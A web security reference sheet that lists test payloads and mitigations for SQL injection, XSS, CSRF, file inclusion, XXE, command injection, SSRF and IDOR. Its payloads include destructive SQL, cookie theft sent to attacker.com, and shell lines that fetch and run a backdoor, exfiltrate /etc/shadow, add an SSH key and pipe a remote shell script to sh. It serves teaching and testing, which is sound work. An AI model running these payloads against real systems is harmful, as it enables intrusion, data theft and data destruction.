Web Security Vulnerabilities Professional Reference Guide

Common Test Cases:

' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--

Mitigation Strategies:

• Use parameterized queries and prepared statements
• Implement proper input validation and sanitization
• Apply principle of least privilege to database users
• Use stored procedures with proper parameterization
• Enable SQL query logging and monitoring
• Use web application firewalls (WAF) with SQL injection rules

Common Test Cases:

<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<img src="x" onerror="alert(document.cookie)">
<a href="javascript:alert(document.cookie)">Click Here</a>
<svg onload=alert(document.domain)>
<script>fetch('//attacker.com/xss?data='+document.cookie)</script>

Mitigation Strategies:

• Implement Content Security Policy (CSP) headers
• Encode output based on context (HTML, JavaScript, URL)
• Use modern frameworks with built-in XSS protection
• Validate and sanitize all user input
• Use HTTP-only and Secure cookie flags
• Implement proper input validation on both client and server

Common Test Cases:

<img src="http://example.com/transfer.php?amount=1000&to=attacker_account" />

<form action="http://example.com/transfer.php" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to" value="attacker_account">
    <input type="submit" value="Submit request">
</form>

Mitigation Strategies:

• Implement CSRF tokens for state-changing operations
• Use SameSite cookie attributes
• Validate Referer and Origin headers
• Implement double-submit cookie pattern
• Use custom request headers for API endpoints
• Implement proper authentication for sensitive operations

Common Test Cases:

../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../Windows/win.ini%00
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls

Mitigation Strategies:

• Use allowlists for file inclusion
• Validate and sanitize file paths
• Disable dangerous PHP functions
• Use proper file permissions
• Implement proper error handling
• Use chroot or jail environments

Common Test Cases:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://evil.com/exploit">
]>
<foo>&xxe;</foo>

Mitigation Strategies:

• Disable XML external entity processing
• Use modern XML parsers with secure defaults
• Validate XML input against strict schemas
• Consider using JSON instead of XML
• Implement proper input validation
• Use sandboxed XML processing environments

Common Test Cases:

; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)

Mitigation Strategies:

• Avoid using system commands with user input
• Use parameterized commands or APIs
• Implement strict input validation and sanitization
• Use proper escaping and encoding
• Run applications with least privilege

Common Test Cases:

http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1

Mitigation Strategies:

• Validate and sanitize all user-supplied URLs
• Implement URL allowlists and blocklists
• Disable unnecessary URL schemes (file://, dict://, etc.)
• Use network segmentation to isolate internal services
• Implement proper error handling without information disclosure

Common Test Cases:

http://foo.bar/viewuser?id=1
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/analytics/report?company_id=COMP_1234

Mitigation Strategies:

• Implement proper access control checks
• Use indirect object references instead of direct ones
• Validate user permissions for each resource access
• Implement rate limiting to prevent enumeration
• Use UUIDs or random identifiers instead of sequential IDs
• Implement proper authentication and authorization